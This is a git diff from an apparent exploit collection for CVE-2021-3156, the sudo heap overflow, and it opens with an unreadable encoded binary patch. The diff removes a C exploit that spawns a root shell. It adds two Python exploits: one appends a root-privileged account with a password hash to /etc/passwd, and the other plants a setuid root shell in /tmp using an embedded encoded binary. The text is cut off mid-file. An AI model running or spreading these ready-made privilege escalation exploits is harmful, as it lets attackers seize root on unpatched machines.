zGmZj6cJQzOKC$}0cy%$vTcOT0_g657D51lg(6)1ECa*G7`|O{WHY$v8Wje{ZK! zKfCV+du;p>=uNvt1E0WTh~9l5cei-liI`LUH5=kR1>j-Z73XG)zvTjzN9Ps@fmc(t zg3B6=cI8H0B^D4xT-==-FLQ96(ZWp+f(Qv2C%bsX!&+5y1UKJ@ts~OoU$MF6wyO*g z(VVc8%2YCGf9ApG7fqd{uOeFVwrtBzh0a8#I-S-7Yvly3bm{Rf>4fr{^+Dmjr(|fK z$hYDXf6%DH*$~LZV2^c~oLxGV*2_h9l#lUhYPS3Y3Rdw8bv(NK+RT#6 zPbv0r-@5cGbrW&>9=z$GzL-c7E~K%uwLb!QEdASD3#;!P*!qfl%#oa=D6Yz@xQ1J3 z*}-1UmqCT}YmW6oMWb`|soIn9F!u$|_{8CFNc}}4VotCu7x3ADOh>TM#@s^M#;l&a z()X}^kZ(_L_Z1|)jx=iK%;hRr2E&C~1Xh23tA4X-mxs5KoxoFqH-@CPhy9q7(7O)} zp53ZFs#{bk3O*UYXFS!+v-99;EFkUBx(kYy8}qCdSx}_x@(aNS`2p6sa~>}b6LVe_ zbw@+DGXslPjezkzytTbLPpKqnxA!Mx!*~?ddQZ<*q3Bx7ljmXRTbwYILXPiT>rbJc z8Do^YW~;Oc#2KAF4{rpp61nb7;1t?`@b>qNJzyF}h> zE*H@|SIY+6+n;D}x9M|H!__{Y^?(OyJ9Q(vWlO9ez^n$z0{KC#s%JFB+_#Iz*WPuxqibD^I!gDF$t8vzD{V-ySWJMrC3zAR&VkB?z_Rx_?M05Va#n<)Rl=%FxpE`1 zHwQa(QSnE)g=ViRC27$ub!yTEXGcb8duV$vK5LI2HhPx!(d=2Rloi3d1*pnAqar3L zzeBV)ukTGsThaU@hY&P{_@Xw7o=fAN4FOcFbA;y;FmKw^%oBg!dv=N6tQBNhznD{* zhCvPp->PobPmnpl<#mVj5HvA(N$*dZo8K{&HH$d*ZAVQkMMtb}f7T|D_EAT9rm`i} zZ%cQ3Apn-B5PH3IHF%1;IzwHx-?{YG$7twcOC)6L3MtZ$qprR{nRw$!t|nNtiUY3Q zq!>7jNU@PDkrN9EJy94?lrU7ZGZ^H2R!mub2h-%kb)9Ef-RbnqmiuW;iFl*6TDn>p z>BAGVHal?~Z+3pX{k@N`pmgAD`-=`KBTuN!=gTqv{DJuXaL@bfV_9;H!5@I>js={9 z?|QXK(^uC(AlyM2^*T=bHjnRX8}H1ZYchgn3k}gN?^oy4N^a4|pNNC9iRU<^+a=?$ zG`kk2+W^AP@}J<4t7%&c>rHnlDxO%eRf{JlRd&HCIj9(NHq+KAw5?CWYYoX6$8{a*#)gRwR=u}-ac@V zi!?Ral%MAmeC|cx*)WfFmHR8@tZJmD_mTmlKkOM*gXUzrU6*jE18|Ao5n8NRxc2fa zS(S-vi^g9;poc~xY6|_i|GWdA8&WW8xwGq^+be_Q?&iEX5Ft zSMxvCO={cRb*a<7y#P4b+9<;nn?`%X&m{I3KG=v(kAu8rrV1TuUt14tenMZ0BfSy>*q4&- zByL;WvPmZr!4Q9j1%XNDia*)v7|NbJ6bN{ZvnfK_%87!82^brpsXVlhj_il?mXdmm zV-MO5;2^pWhI_=#{P8W`V|-9PnWr%gGBmxMG#MNKM~{;AAL=FzB{N%L~>ElW?Dm zcBcQzjNKBDcky`zQGVREHzZDXn-K56!5UnU6xUupmAfaOA^pIQk1aUWv{|q2wh1Or z5Fiz!u%UYW(eVCXZ z%;sC~KI`9-xSE8M*P>hm)kU0bjdh)kBYmkGeLR-}2$R1&kbea=*JKbjr0~gziXXF@ zeG)HkPL{I9t^7z|RpvvLU3s7*u7xg;tq1h&+6bx!T~mehtNZ9kBdlo^n4Neghf5Ij z#jQws2{snevQb$vPCLYUoy-J%@JDQ=6=vp^jPcTDUqbzk?U*3 zOAv{N!B_NN8`*yekJ3!-Z_W`6oFP=E*H_pqi7m~~Xg_|V4(p6$RjiALYWoP6+LW}T zJqh>F#u+hUH)Q5r`wEAx2wdHnIV%7_vO?;L?NfW1HO@M3;a~8!mKnU=4o7e1zs;0k zfUj_=Mntl`jhIj#sTh-kC@el@4`93WUVAI`mTATZ4fFs&Qt9LEqojvjsfrCaK^_`A z_u}-TJ3&5G<1&-lc{uUK;TCC6>q@)hrNBWX6>k{@n|~>UtQW8?NyM)_tDGkQU$$1@ z&j_{C-L`M2(;8n9rSxl_DbT&S6K}o3OCMusM=C%Yi$)XxMbgnVg=8et6H)0BTO$!$ zcg|9{L(op|_lbjctWLD_bT$X{Int@+&6~WbSpn4pC!Hr#ZBQ(FKnWpF z_&mc0$W?l8oPnI~fw|SQ`X3sze^mC&EU%dK0jFbI8Bb9mV;M0}?Q_vj9Y(SCpiG=vR`6*9kJKZ>+1E3Fe;!LhVsj1yn zgxwaqRiLfd;!XeXs6+k!60I<10G#<7clhsJGQiXgfn5WfFh^)dhrkNfzjQBbHu)VH z`nEyPz?sM;O_Gm1g|()+&u462aQ>29SA4;0Y5ncwND%Jbu^AYHhuhZ*hb^MaRgIO3 zBc)cpyZU5>e7fipCGYNUNc{{kNj{r@%U20XWo~+qPfMItfwjFYBM1K z9qZHxOY`Y140%zY1xt3S+mTy&XofI4dw3e^#(bAIA)@Ai!x{Vtug0B-Al_^aLHtC) zaiFk#*?&OmlJm$zgZ^_bGYErsZ2wZd2Zl z9CjyoiGpoor~8TCe?kyxV}cl+iq5+B;=Ye~3V`&y!NIuET$)Lw@d@|89H~#7_2R69 zp|)eC5-(OZ4>w!v+9Vbr?ZV*H zHQ`_t7Fmiza?Z^WKz(xdIQHE{VwY5Q9`dwu1MSbRl?pY}$W5a;L$}4!m&D$wzU&BW zG><9jW>hROw+i|v(0ze55E@P=C7tE8(RLMHviy+1X8IYfVJ8I#>92%GB_e#1Pv$M7 zK=%t+4Jsv0E=&pKp!~I|S3^pDh)6?iJ4$=$?UN@&?O0^>f_>mSN4}1z$UHTgcqig) zT1Xa9**UVkulM05bPU=!@JWDC!Q4{bz7NqO)Km9LmXCjK8=)|FRqj2|$G}rIZ^9#K z^R&bP8e@!VHitw>{rMEv;%F>Xq!70$wshvwV%2<1qc9`gT;pEF<50eR_Y;Tsba)5) zM;*H27GusY&l9rNW7Fv|JGtt6o+gWXRRy*(ypWD{p*K2ctnHJ6Av0DxIk%WcqzK?P ztk7wXNN7o0=9u$jw|$epX;&p!`zharJs~Rf0>2oSpIcqDxdu=A0=xLh7?zm)ls$Z# ztqFcAdaxU%8T(<+ZZ{Gad5ApQ7yb9m!$ZZYstL@Yc6dGOvHl-_Y9ltX@dJ|{OLX~4 zo~LaUF*rX6rDM#S7C3l0@(n;#DoISPHk&wN%PIGTS;xsGv&MdJj_= z@=MaOGx1FepX4{KwpT}&HuR2fPQWXe$Jzb@2){SRg_T{ykE{WEE?1FUy!6fy45jK6 zO}n0#a(7>ZlSL(LctbV|LwK;Fx(TVeN=7f7EDV#)zAP3tBv(E?klPI;?BS6YPz|iMwl(do#F=K0obT^Ozo8 zvi>o}2fXHc4A3PyZXVlgpeM8JTs(^26p@d3R{jB?woq~N(C`n9^{95h$J3G>o2^DG< z?=x)YCMNWN*TXG=H!*JW-ke8tZKV&u4nB>!A2a+4ODPUZjWTe4Fmy4O!+oa zyf&vej2@x$c3vF8Al?`LJ}xG@oq73evJbDlZs!1%%KDToE5fjpcM-)#!j=hBgRX~$ zlgzYKxM*@Jba<$oU)_M=R%Dpo(^i@>{~^UUBVODeiC0Yd-71Ca9GgnkAd;Hh>|4(6 z+MSzDU(IR)-~a;!@5sWo9He4_;R6T0vU~ER)Dd8VnQC5n*P#X6!`-`HcGd9z^R+Pm zpTZ|et6i!;z&>9AaBrUaLDivFU0+1B$b3+|5j@^HuHu|n5@>>%6H zM}TMMv|5}`aLl{R-!C|+p?K{ zT38B}?6cQJaEA~?i3PfQODDnvsDH^cN*!fiDJ*Bo#3D#9Ft&x0czxEID8|IU~PAfuDui@E;By75FB z&lJ=#*=odlg93D2nf2*vpo(#w;(w(^sqGjlOfT^we%gg=qANnJ$C5RpnVNJiPaeg~ z!NH+uBU0h{6^_H;w$kfuouw4Y$*;WiVNgTr^yD!ZVzVHCrveF!)ri#7I|N_2CcN-k z-!@Y1O-G$KZ=Wk7*5ET7cBd6-$nt8YI@L_9K*`V1aA!X>?4?`j+OW(ss^PZXt(>o7 zT}L8)yDgk7gU?JMt01Kl+R9^)2e(X9@3hLiG_smw?CR9p7{IVd{sn81K?_TQV?WvN zpDc({LihM^jRrqCG!J(~BwyY6_#S-!Zl|7A@&~#b`}KQLtTzZUIB<5h>|oyEV zy#8muI3&JyL88GLHwWar72z}1=h=@=jpqo2Jl~51rsh%VD~)*@4tA%n-!5|BlA*BY zv6Ha?7>{j`r+YBfmelhk?uu25`3q%%2q}*-X1}%;kg-6E=lBkti0$-r`YWM8-_y~P zdi4SqY+OB=C)%cT;bTM#7_COI?Lk2)d|5nEFT*Ynn)>!Mm1D}}w8o710V3l|uu`@e zyFBOJ4Xb+REmC0ydvz73w zQHF&3ZALlPLK*)!DYSv9QKly^`m3Uiepwg#HOLt>o+i4Qmu8V=G9{GwzHFgqBMoFw zer+rdnQ+O~JPxOGVR}tb9QXR7c8t;nnOA?W&5TOIPph$xyu62VU3kVl65r-{{t#Yg z0+BN!ku5=qp55QGv8C;G2Qxsg57?IK39_CmV2WnuSs>g2dRX+)k33?GD;-jXiAR(;`!sz|~E82u3V6I=te~ z43yA^IQc;iD{{kCPZ|*3=CeX#BCf}p9@3ItRc3CCN7%rG{?Z*I1>%jN?($w!g(!0f zk3}*!-b6b<1?Jw`C|KHBeYE2`&oA3k0bDciFKmxL7%16!%JMl`us=B^%HeXScqDcW zv_fPlUgj$;l#0FnLL&0%Nt^L}rJiQ7P>w!{SEYFwk7N&2Nu96gc&lgTj6>Ch7yFtw z%?4DaRV}y3ixsE2_xQhWpx#}(^1&2oSTYgD2085lsLUq-2>3Sbv;-H};if{K$wlYN z0F<;2uaru&30*o(?K>x_W}iS*LZta8@~9MwjDg@U`XCKJh+$0Ra4fP+5=H(XWGwWD z8BSt%%$EjFi{>aDWNOVw{p=FxLw*+n)&TbO2W>UF2T|pKRkI zi|UGusY&Trr<2W^`0AcP%3gJuphLOW$|7ULi-G7{#MMEP^0iPa0tzP7ii=fV#HEkW zF#($iw{jGRD(t=z?cNAh>`0NS+@_EHGM=*(PXJ`|Mdd}hf>by=JUf~n?MW_hadFF) zFq@H3QbQQsz-Bs2Bm~rI67cWKKxacSj|HR7s1D>A*>*&?&)(C`;eo7oD*OP0#{{f_|Q-XD;~@3@~ycv3YT-u0!93lIcc~1gegh<*J18H{=V*NCJ(^7pZO`zxcEW=Ht-(?8v8_Wxq-UY-INfCcU(k&2;EI*OTPD^tkXWuXDYJ@p;X zlw+OyM>bK80s3;TlnQ;MD+ z)c-JWflr;)J*eorIsS&r5Y9Aym4_x{?&^;Bnyp!5yZ$c%7;>3#ONEEyU;oPV`C~HW zP)ckuDv>(LO;NHi=MyM^1C}QSuP`j{#Ak{k%axj77tb}8IyQtnIXtTCQ{}dwvrz&6 z^*l`C4(5y964ATbDQe|0;moIkY4zRZ%Ub}kubre}UETn!&_KJ-_M`O2HbRrW5M4eI zq-*Sw8aO2RoN)Xq;z&;82L4kVBX0E5%2+J*A<~HD}L~bQYz0RJ$L- z;X)IS^UvPOYkw%r*tNBZBlNvKu5S@@$CBF?Xppf_fIz5c04$@ueKK4MTul-#67NWUY}3W15RIW;{(^b?w!obtEK?X=L>-P|s*UqPja8rjDuqJ%>j% zo>I3f3vdCOIy2OwmFpbx3=^ZL2HS0&hm-J*=G7`k-wRe;Jt7I)EK@`=DY>AY2E;90S zoXK|-7x)?#V%0JC+P>Q9_*g_E_*8bI71=#lg#OFO!#qj);dpawY2;SizY16O&TsdQ zr@1ga2Rg^uPYtU8*<)O-5kOqbSuAH(0BHPWs`zogEf7z@=9B*+_?8De<2T>T=*Gm#89SwjA$0Cy(eSuNiH&IlU_FG20! zn}V=EAiqq3#?dm8Ai@6}s+eX->vl$T5#K&vU6udrnvQC(22r#kY&4#sq8$%D zW)q`GN#ICMMI11Mq?Po+*D_-~5AnP?D&W##ZxLSOvUo3zU`1WUV+%LexiwZc9|WyR zxU|w@D2c+1#B_R`ecg^1<6Zj{AC^wUF_~q%-DOeNYk1&%h8(Elr8thq{_-+{j2@ zVt7U`4^u|`wCa-S^=xqP7$hQCc02Ko&EH~jMOP%Sh&As~PBYfv+-W~WStU5AIrHR= zoc@*(4O11m01{I_{LS|eaE*uuAA#@n-p zmT?Oz zd)e^3pKdkgu@zm`%I%u7`cV)n3Ph^R$zwVx+|I}PXEbuqi38N%8p;7USuG?^5%0vP z`icUFmd(|g$7=0$F7k9K+mE??{JoDRR6))O4|hLlGXykt2PZFSO7ZEFy(_QhUDGpIGn-}d`&P|aWB8QR`J9@XIplV^pic?y%q17KotPw$ja+}^jeN%>~3gV3YGKe zd!@DZ;;r8{2e=&P^q}XYq?ld1zHSSPnJuUt3lz%T0XZ)GA)?Thyd-KEk*00V*aN=A zZ!A*9`WO`o)HzDQC(iQhyT2Oh9v$>(SZs4v=$`)Ci=tkH_>~qxP*|#ofh}t`O$&U9Q5hEj?MC+w_Z$c1J4Nre3+SdwfFSBtB$_qBnOx%Y!F3XP6s>g=$iQ0_Z8{mi(u9T+(Vt&e z14xpvu6=mJu4*2@{B-D-c_RdJqcIEShXy7>;#|3Zf-=|d-PZeNf0ik|$+_a)o_{?u zv22}C3^=K7DB@NJl48iu%aDFM?9CuRGwrh@S&+_F=eHE?j6~QF4_UjKF_NkS5h_1l zC_t-WW(@k>uLJZ1FHL&Ho7-HY1=X^7{b18hswg@9KFPdt-s?YHKCj4I(a-|Aab{ck z&5uLM4}pzE$m&N{V;frchx3mW;F5-po*%hphD8o164>z>+?*Ag@_O#AKp+T_8oCWM zS-e@P!T-i}Dun6g$ANlCZncxQDm}ejJa}hoY}Y889vh|sDlGSsg&7J9vBy5n4vYH0 zgm-%XMC`i>W#ENmk9^}ZA1@juKo&?Asw=+w|0RG_0pz#w7LG-GUEW6w+Sy$H==M1T z6og?^1f~Jp&X4DYf!jBSrjB|^<(-{10^I5FE-U!6uvVFbeYaY_7tlR2%aV{=&L<+= zcYwQv?CTnAvKSY{UYE8Li~bhS8KaZ#&WWyNuDq1PO!`5N6}hpQRsf)IS;d z<^9_q_}dTw8y0y6L2ePm01rVJv{k}#eIXUVW!y%1e?RmG5YXr^bFlhB1DMQ7yKClu zgfYD_*#W-U>n`y3Xr`PbGi~bhP9Q57W3Hb8{axetqDKI~r8KyC@xqIxU`xH<<%yU7 z`a2o{C?|hz$Iw|eFzh^C&>JzAwETQ^f=LmvJ754%rZ}B?*AjEh=l7r49{?B?n3r$S zPV3SDmQ(35fqxuP6BNE@aHHO}{@*5ekBxl&UyS~Hq5lf`bJYJuu;72{_h0@OWr@Fb l=)ZN488 literal 0 HcmV?d00001 diff --git a/cve/sudo/2021/CVE-2021-3156/exploit.c b/cve/sudo/2021/CVE-2021-3156/exploit.c deleted file mode 100644 index 354632e0..00000000 --- a/cve/sudo/2021/CVE-2021-3156/exploit.c +++ /dev/null @@ -1,108 +0,0 @@ -#include // execve() -#include // strcat() -#include - -/* Exploit for CVE-2021-3156, drops a root shell. - * All credit for original research: Qualys Research Team. - * https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit - * - * Tested on Ubuntu 20.04 against sudo 1.8.31 - * Author: Max Kamper - */ - - - -int main(int argc, char * argv[]) { - - if(argc < 2){ - printf("Usage: %s \n",argv[0]); - printf("[+]Refrence : @Qualys Research Team @Max Kamper \n"); - printf("[+]Modify by Rvn0xsy@ https://payloads.online\n"); - return 0; - } - char * input_command = argv[1]; - int nSize = strlen(input_command)+6; - - char * command = malloc(nSize); - memset(command,0x00,nSize); - sprintf(command,"test\n\n%s\n",input_command); - // 'buf' size determines size of overflowing chunk. - // This will allocate an 0xf0-sized chunk before the target service_user struct. - int i; - char buf[0xf0] = {0}; - memset(buf, 'Y', 0xe0); - strcat(buf, "\\"); - - char* sudoedit_argv[] = { - "sudoedit", - "-S", - "-s", - buf, - NULL}; - - // Use some LC_ vars for heap Feng-Shui. - // This should allocate the target service_user struct in the path of the overflow. - char messages[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"}; - memset(messages + strlen(messages), 'A', 0xb8); - - char telephone[0x50] = {"LC_TELEPHONE=C.UTF-8@"}; - memset(telephone + strlen(telephone), 'A', 0x28); - - char measurement[0x50] = {"LC_MEASUREMENT=C.UTF-8@"}; - memset(measurement + strlen(measurement), 'A', 0x28); - - // This environment variable will be copied onto the heap after the overflowing chunk. - // Use it to bridge the gap between the overflow and the target service_user struct. - char overflow[0x500] = {0}; - memset(overflow, 'X', 0x4cf); - strcat(overflow, "\\"); - - // Overwrite the 'files' service_user struct's name with the path of our shellcode library. - // The backslashes write nulls which are needed to dodge a couple of crashes. - char* envp[] = { - overflow, - "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", - "XXXXXXX\\", - "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", - "\\", "\\", "\\", "\\", "\\", "\\", "\\", - "x/x\\", - "Z", - messages, - telephone, - measurement, - NULL}; - - // Invoke sudoedit with our argv & envp. - - int des_p[2]; - if(pipe(des_p) == -1){ - - puts("Error .. pipe \n"); - return -1; - } - - if(fork() == 0) //first fork - { - close(STDOUT_FILENO); //closing stdout - dup(des_p[1]); //replacing stdout with pipe write - close(des_p[0]); //closing pipe read - write(des_p[1],command, strlen(command)); - close(des_p[1]); - exit(1); - } - - if(fork()==0){ - close(STDIN_FILENO); //closing stdin - dup(des_p[0]); //replacing stdin with pipe read - close(des_p[1]); //closing pipe write - close(des_p[0]); - - execve("/usr/bin/sudoedit", sudoedit_argv, envp); - perror("execvp of stdread failed"); - exit(1); - } - close(des_p[0]); - close(des_p[1]); - wait(0); - wait(0); -} diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_cent7_userspec.py b/cve/sudo/2021/CVE-2021-3156/exploit_cent7_userspec.py new file mode 100644 index 00000000..70dfce6e --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/exploit_cent7_userspec.py @@ -0,0 +1,193 @@ +#!/usr/bin/python +''' +Exploit for CVE-2021-3156 on CentOS 7 by sleepya + +Simplified version of exploit_userspec.py for easy understanding. +- Remove all checking code +- Fixed all offset (no auto finding) + +Note: This exploit only work on sudo 1.8.23 on CentOS 7 with default configuration + +Note: Disable ASLR before running the exploit (also modify STACK_ADDR_PAGE below) if you don't want to wait for bruteforcing +''' +import os +import sys +import resource +from struct import pack +from ctypes import cdll, c_char_p, POINTER + +SUDO_PATH = b"/usr/bin/sudo" # can be used in execve by passing argv[0] as "sudoedit" + +PASSWD_PATH = '/etc/passwd' +APPEND_CONTENT = b"gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash\n"; + +#STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabled +STACK_ADDR_PAGE = 0x7fffe5d35000 + +libc = cdll.LoadLibrary("libc.so.6") +libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) + +def execve(filename, cargv, cenvp): + libc.execve(filename, cargv, cenvp) + +def spawn_raw(filename, cargv, cenvp): + pid = os.fork() + if pid: + # parent + _, exit_code = os.waitpid(pid, 0) + return exit_code + else: + # child + execve(filename, cargv, cenvp) + exit(0) + +def spawn(filename, argv, envp): + cargv = (c_char_p * len(argv))(*argv) + cenvp = (c_char_p * len(env))(*env) + return spawn_raw(filename, cargv, cenvp) + + +resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)) + +# expect large hole for cmnd size is correct +TARGET_CMND_SIZE = 0x1b50 + +argv = [ "sudoedit", "-A", "-s", PASSWD_PATH, "A"*(TARGET_CMND_SIZE-0x10-len(PASSWD_PATH)-1)+"\\", None ] + +SA = STACK_ADDR_PAGE + +ADDR_REFSTR = pack('var chunk (get freed) + '\x21', '', '', '', '', '', '', + ADDR_PRIV[:6], '', # pointer to privilege + ADDR_CMND[:6], '', # pointer to cmndspec + ADDR_MEMBER[:6], '', # pointer to member + + # fake def->binding (list head) (get freed) + '\x21', '', '', '', '', '', '', + '', '', '', '', '', '', '', '', # members.first + 'A'*0x10 + # members.last, pad + + # userspec chunk (get freed) + '\x41', '', '', '', '', '', '', # chunk metadata + '', '', '', '', '', '', '', '', # entries.tqe_next + 'A'*8 + # entries.tqe_prev + '', '', '', '', '', '', '', '', # users.tqh_first + ADDR_MEMBER[:6]+'', '', # users.tqh_last + '', '', '', '', '', '', '', '', # privileges.tqh_first + ADDR_PRIV[:6]+'', '', # privileges.tqh_last + '', '', '', '', '', '', '', '', # comments.stqh_first + + # member chunk + '\x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any) + 'A'*8 + # member.tqe_next (can be any), userspec.lineno (can be any) + ADDR_MEMBER_PREV[:6], '', # member.tqe_prev, userspec.file (ref string) + 'A'*8 + # member.name (can be any because this object is not freed) + pack('prev->prev->next + "\x61\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size + ADDR_USER[:6]+'\\', '\\', # entries.tqe_next points to fake userspec in stack + "A"*8 + # entries.tqe_prev + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # users.tqh_first + ADDR_MEMBER[:6]+'\\', '\\', # users.tqh_last + "\\", "\\", "\\", "\\", "\\", "\\", "\\", "", # privileges.tqh_first + + "LC_ALL=C", + "SUDO_EDITOR=/usr/bin/tee -a", # append stdin to /etc/passwd + "TZ=:", +] + +ENV_STACK_SIZE_MB = 4 +for i in range(ENV_STACK_SIZE_MB * 1024 / 4): + env.extend(epage) + +# last element. prepare space for '/usr/bin/sudo' and extra 8 bytes +env[-1] = env[-1][:-len(SUDO_PATH)-1-8] + +env.append(None) + +cargv = (c_char_p * len(argv))(*argv) +cenvp = (c_char_p * len(env))(*env) + +# write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a" +r, w = os.pipe() +os.dup2(r, 0) +w = os.fdopen(w, 'w') +w.write(APPEND_CONTENT) +w.close() + +null_fd = os.open('/dev/null', os.O_RDWR) +os.dup2(null_fd, 2) + +for i in range(8192): + sys.stdout.write('%d\r' % i) + if i % 8 == 0: + sys.stdout.flush() + exit_code = spawn_raw(SUDO_PATH, cargv, cenvp) + if exit_code == 0: + print("success at %d" % i) + break diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_defaults_mailer.py b/cve/sudo/2021/CVE-2021-3156/exploit_defaults_mailer.py new file mode 100644 index 00000000..a5ee3a24 --- /dev/null +++ b/cve/sudo/2021/CVE-2021-3156/exploit_defaults_mailer.py @@ -0,0 +1,424 @@ +#!/usr/bin/python +''' +Exploit for CVE-2021-3156 with struct defaults overwrite (mailer) by sleepya + +This exploit requires: +- glibc without tcache +- there is defaults line in /etc/sudoers (and at least one of them is allolcated after large hole) +- disable-root-mailer is not set +- /tmp is not mounted with nosuid (need modify SHELL_PATH) + +Note: Disable ASLR before running the exploit if you don't want to wait for bruteforcing + +Without glibc tcache, a heap layout rarely contains hole. +The heap overflow vulnerability is triggered after parsing /etc/sudoers. +The parsing process always leaves a large hole before parsed data (struct defaults, struct userspec). + +In the end of set_cmnd() function, there is a call to update_defaults(SET_CMND) function. +It is called update heap buffer overflow. So we can update def_* value by overwriting +struct defatuls (need type=DEFAULTS_CMND and fake binding). + +Tested on: +- CentOS 7 (1.8.23, 1.8.19p2) +- CentOS 6 (1.8.6) +''' +import os +import subprocess +import sys +import resource +import select +import signal +import time +from struct import pack +from ctypes import cdll, c_char_p, POINTER + +SUDO_PATH = b"/usr/bin/sudo" + +SHELL_PATH = b"/tmp/gg" # a shell script file executed by sudo (max length is 31) +SUID_PATH = "/tmp/sshell" # a file that will be owned by root and suid +PWNED_PATH = "/tmp/pwned" # a file that will be created after SHELL_PATH is executed + +libc = cdll.LoadLibrary("libc.so.6") +libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p) + +resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)) + +try: + SUID_PATH = os.environ["SUID_PATH"] + print("Using SUID_PATH = %s" % SUID_PATH) +except: + pass + +def create_bin(bin_path): + if os.path.isfile(bin_path): + return # existed + try: + os.makedirs(bin_path[:bin_path.rfind('/')]) + except: + pass + + import base64, zlib + bin_b64 = 'eNqrd/VxY2JkZIABJgY7BhCvgsEBzHdgwAQODBYMMB0gmhVNFpmeCuXBaAYBCJWVGcHPmpUFJDx26Cdl5ukXZzAEhMRnWUfM5GcFAGyiDWs=' + with open(bin_path, 'wb') as f: + f.write(zlib.decompress(base64.b64decode(bin_b64))) + +def create_shell(path, suid_path): + with open(path, 'w') as f: + f.write('#!/bin/sh\n') + f.write('/usr/bin/id >> %s\n' % PWNED_PATH) + f.write('/bin/chown root.root %s\n' % suid_path) + f.write('/bin/chmod 4755 %s\n' % suid_path) + os.chmod(path, 0o755) + +def execve(filename, cargv, cenvp): + libc.execve(filename, cargv, cenvp) + +def spawn_raw(filename, cargv, cenvp): + pid = os.fork() + if pid: + # parent + _, exit_code = os.waitpid(pid, 0) + return exit_code & 0xff7f # remove coredump flag + else: + # child + execve(filename, cargv, cenvp) + exit(0) + +def spawn(filename, argv, envp): + cargv = (c_char_p * len(argv))(*argv) + cenvp = (c_char_p * len(envp))(*envp) + # Note: error with backtrace is print to tty directly. cannot be piped or suppressd + r, w = os.pipe() + pid = os.fork() + if not pid: + # child + os.close(r) + os.dup2(w, 2) + execve(filename, cargv, cenvp) + exit(0) + # parent + os.close(w) + # might occur deadlock in heap. kill it if timeout and set exit_code as 6 + # 0.5 second should be enough for execution + sr, _, _ = select.select([ r ], [], [], 0.5) + if not sr: + os.kill(pid, signal.SIGKILL) + _, exit_code = os.waitpid(pid, 0) + if not sr: # timeout, assume dead lock in heap + exit_code = 6 + + r = os.fdopen(r, 'r') + err = r.read() + r.close() + return exit_code & 0xff7f, err # remove coredump flag + +def has_askpass(err): + # 'sudoedit: no askpass program specified, try setting SUDO_ASKPASS' + return 'sudoedit: no askpass program ' in err + +def has_not_permitted_C_option(err): + # 'sudoedit: you are not permitted to use the -C option' + return 'not permitted to use the -C option' in err + +def get_sudo_version(): + proc = subprocess.Popen([SUDO_PATH, '-V'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True) + for line in proc.stdout: + line = line.strip() + if not line: + continue + if line.startswith('Sudo version '): + txt = line[13:].strip() + pos = txt.rfind('p') + if pos != -1: + txt = txt[:pos] + versions = list(map(int, txt.split('.'))) + break + + proc.wait() + return versions + +def check_sudo_version(): + sudo_vers = get_sudo_version() + assert sudo_vers[0] == 1, "Unexpect sudo major version" + assert sudo_vers[1] == 8, "Unexpect sudo minor version" + return sudo_vers[2] + +def check_mailer_root(): + if not os.access(SUDO_PATH, os.R_OK): + print("Cannot determine disble-root-mailer flag") + return True + return subprocess.call(['grep', '-q', 'disable-root-mailer', SUDO_PATH]) == 1 + +def find_cmnd_size(): + argv = [ b"sudoedit", b"-A", b"-s", b"", None ] + env = [ b'A'*(7+0x4010+0x110-1), b"LC_ALL=C", b"TZ=:", None ] + + size_min, size_max = 0xc00, 0x2000 + found_size = 0 + while size_max - size_min > 0x10: + curr_size = (size_min + size_max) // 2 + curr_size &= 0xfff0 + print("\ncurr size: 0x%x" % curr_size) + argv[-2] = b"\xfc"*(curr_size-0x10)+b'\\' + exit_code, err = spawn(SUDO_PATH, argv, env) + print("\nexit code: %d" % exit_code) + print(err) + if exit_code == 256 and has_askpass(err): + # need pass. no crash. + # fit or almost fit + if found_size: + found_size = curr_size + break + # maybe almost fit. try again + found_size = curr_size + size_min = curr_size + size_max = curr_size + 0x20 + elif exit_code in (7, 11): + # segfault. too big + if found_size: + break + size_max = curr_size + else: + assert exit_code == 6 + # heap corruption. too small + size_min = curr_size + + if found_size: + return found_size + assert size_min == 0x2000 - 0x10 + # old sudo version and file is in /etc/sudoers.d + print('has 2 holes. very large one is bad') + + size_min, size_max = 0xc00, 0x2000 + for step in (0x400, 0x100, 0x40, 0x10): + found = False + env[0] = b'A'*(7+0x4010+0x110-1+step+0x100) + for curr_size in range(size_min, size_max, step): + argv[-2] = b"A"*(curr_size-0x10)+b'\\' + exit_code, err = spawn(SUDO_PATH, argv, env) + print("\ncurr size: 0x%x" % curr_size) + print("\nexit code: %d" % exit_code) + print(err) + if exit_code in (7, 11): + size_min = curr_size + found = True + elif found: + print("\nsize_min: 0x%x" % size_min) + break + assert found, "Cannot find cmnd size" + size_max = size_min + step + + # TODO: verify + return size_min + +def find_defaults_chunk(argv, env_prefix): + offset = 0 + pos = len(env_prefix) - 1 + env = env_prefix[:] + env.extend([ b"LC_ALL=C", b"TZ=:", None ]) + # overflow until sudo crash without asking pass + # crash because of defaults.entries.next is overwritten + while True: + env[pos] += b'A'*0x10 + exit_code, err = spawn(SUDO_PATH, argv, env) + print("\ncurr offset: 0x%x" % offset) + print("exit code: %d" % exit_code) + print(err) + # 7 bus error, 11 segfault + if exit_code in (7, 11) and not has_not_permitted_C_option(err): + # found it + env[pos] = env[pos][:-0x10] + break + offset += 0x10 + + # verify if it is defaults + env = env[:-3] + env[-1] += b'\x41\\' # defaults chunk size 0x40 + env.extend([ + b'\\', b'\\', b'\\', b'\\', b'\\', b'\\', + (b'' if has_tailq else b'A'*8) + # prev if no tailq + b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # entries.next + (b'A'*8 if has_tailq else b'') + # entries.prev + pack("binding (list head)) + 